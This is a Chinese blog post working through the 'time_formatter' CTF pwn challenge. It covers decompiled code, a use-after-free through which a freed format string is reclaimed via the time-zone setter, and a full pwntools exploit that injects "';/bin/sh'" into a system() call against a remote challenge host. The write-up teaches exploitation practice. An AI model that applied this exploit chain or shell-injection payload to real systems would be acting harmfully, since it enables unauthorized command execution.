time_formatter writeup

攻防世界time_formatter writeup

UAF漏洞和命令注入。

前置知识

1、strdup函数

char * __strdup(const char *s)
{
   size_t  len = strlen(s) +1;
   void *new = malloc(len);
   if (new == NULL)
      return NULL;
   return (char *)memecpy(new,s,len);
}

strdup函数实现如上所示,strup函数拷贝字符串的副本到一块动态申请的内存中。

2、snprintf函数

snprintf函数原型:int snprintf(char *str, int n, char * format [, argument, ...])

str是目的字符串指针,snprintf从format中拷贝n个字符串到str中去,argument是参数。

3、getenv函数和setenv函数

getenv函数用来获取环境变量的值,setenv函数用来改变环境变量的值或者增加环境变量。

getenv函数原型:char * getenv(const char *name)

setenv函数原型:char * setenv(const char *name,const char * value,int overwrite)

name表示环境变量名,value表示环境变量的值,overwrite不为0表示可以修改和添加环境变量的值,overwrite为0表示环境变量已经有值,这时候value会被忽略。

程序分析

主调函数如下所示:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __gid_t v3; // eax
  FILE *v4; // rdi
  __int64 v5; // rdx
  int v6; // eax
  __int64 result; // rax

  v3 = getegid();
  setresgid(v3, v3, v3);
  setbuf(stdout, 0LL);
  puts("Welcome to Mary's Unix Time Formatter!");
  while ( 1 )
  {
    puts("1) Set a time format.");
    puts("2) Set a time.");
    puts("3) Set a time zone.");
    puts("4) Print your time.");
    puts("5) Exit.");
    __printf_chk(1LL, (__int64)"> ");
    v4 = stdout;
    fflush(stdout);
    switch ( str2int() )
    {
      case 1:
        v6 = set_time_format();
        goto LABEL_8;
      case 2:
        v6 = set_time();
        goto LABEL_8;
      case 3:
        v6 = set_time_zone();
        goto LABEL_8;
      case 4:
        v6 = print_time((__int64)v4, (__int64)"> ", v5);
LABEL_8:
        if ( !v6 )
          continue;
        return 0LL;
      case 5:
        exit();
        return result;
      default:
        continue;
    }
  }
}

 set_time_format函数如下所示:

__int64 sub_400E00()
{
  char *v0; // rbx

  v0 = add();
  if ( (unsigned int)check_time_format(v0) )
  {
    ptr = v0;
    puts("Format set.");
  }
  else
  {
    puts("Format contains invalid characters.");
    delete(v0);
  }
  return 0LL;
}
char *add()
{
  __int64 v0; // rdx
  __int64 v1; // rcx
  char s[1024]; // [rsp+8h] [rbp-410h]
  unsigned __int64 v4; // [rsp+408h] [rbp-10h]

  v4 = __readfsqword(0x28u);
  __printf_chk(1LL, (__int64)"%s");
  fflush(stdout);
  fgets(s, 1024, stdin);
  s[strcspn(s, "\n")] = 0;
  return sub_400C26(s, (__int64)"\n", v0, v1);
}

 set_time_zone函数如下所示:

__int64 sub_400E43()
{
  value = add();
  puts("Time zone set.");
  return 0LL;
}

exit_time函数如下所示:

signed __int64 __noreturn exit()
{
  signed __int64 result; // rax
  char s; // [rsp+8h] [rbp-20h]
  unsigned __int64 v2; // [rsp+18h] [rbp-10h]

  v2 = __readfsqword(0x28u);
  delete(ptr);
  delete(value);
  __printf_chk(1LL, (__int64)"Are you sure you want to exit (y/N)? ");
  fflush(stdout);
  fgets(&s, 16, stdin);
  result = 0LL;
  if ( (s & 0xDF) == 89 )
  {
    puts("OK, exiting.");
    result = 1LL;
  }
  return result;
}

print_time函数如下所示:

__int64 __fastcall print_time(__int64 a1, __int64 a2, __int64 a3)
{
  char command; // [rsp+8h] [rbp-810h]
  unsigned __int64 v5; // [rsp+808h] [rbp-10h]

  v5 = __readfsqword(0x28u);
  if ( ptr )
  {
    __snprintf_chk(
      (__int64)&command,
      2048LL,
      1LL,
      2048LL,
      (__int64)"/bin/date -d @%d +'%s'",
      (unsigned int)dword_602120,
      (__int64)ptr,
      a3);
    __printf_chk(1LL, (__int64)"Your formatted time is: ");
    fflush(stdout);
    if ( getenv("DEBUG") )
      __fprintf_chk(stderr, 1LL, (__int64)"Running command: %s\n", (__int64)&command);
    setenv("TZ", value, 1);                     // setenv函数这里添加环境变量
    system(&command);
  }
  else
  {
    puts("You haven't specified a format!");
  }
  return 0LL;
}

如果我们可以把构造语句,把command中的命令构造为';/bin/sh'(单引号是为了闭合语句中的单引号),通过system函数就可以getshell。但是如果在set_time_format函数中输入';/bin/sh'会被过滤掉,所以我们这里要利用uaf漏洞,首先通过set_time_format函数申请一块堆块,然后exit_time释放掉,通过set_time_zone重新将释放的堆块分配出来,构造语句来执行。

EXP

from pwn import *
from pwnlib import *
DEBUG=0
if DEBUG:
    io=process('./time_formatter')
else:
    io=remote('220.249.52.133',49902)

elf=ELF('./time_formatter')
puts_got=elf.got['puts']
puts_system=elf.got['system']
fgets_got=elf.got['fgets']
atoi_got=elf.got['atoi']
system_got=elf.got['system']

def launch_gdb():
    context.terminal=['gnome-terminal','-x','sh','-c']
    gdb.attach(proc.pidof(io)[0])

def set_time_format(content):
    io.recvuntil('> ')
    io.sendline(str(1))
    io.recvuntil('Format: ')
    io.sendline(content)

def set_time_format_err(content):
    io.recvuntil('> ')
    io.sendline(str(1))
    io.recvuntil('Format: ')
    io.sendline(content)

def set_time(Unix_time):
    io.recvuntil('> ')
    io.sendline(str(2))
    io.recvuntil('Enter your unix time: ')
    io.sendline(str(Unix_time))

def set_time_zone(zone):
    io.recvuntil('> ')
    io.sendline(str(3))
    io.recvuntil('Time zone: ')
    io.sendline(zone)

def print_time():
    io.recvuntil('> ')
    io.send(str(4))

def exit_time():
    io.recvuntil('>')
    io.sendline(str(5))
    io.recvuntil('Are you sure you want to exit (y/N)? ')
    io.sendline('N')
    

#launch_gdb()
content1='aaaa'
set_time_format(content1)
exit_time()
set_time_zone("';/bin/sh'")
print_time()
io.interactive()

 

posted @ 2020-08-25 14:40  Riv4ille  阅读(342)  评论(0编辑  收藏  举报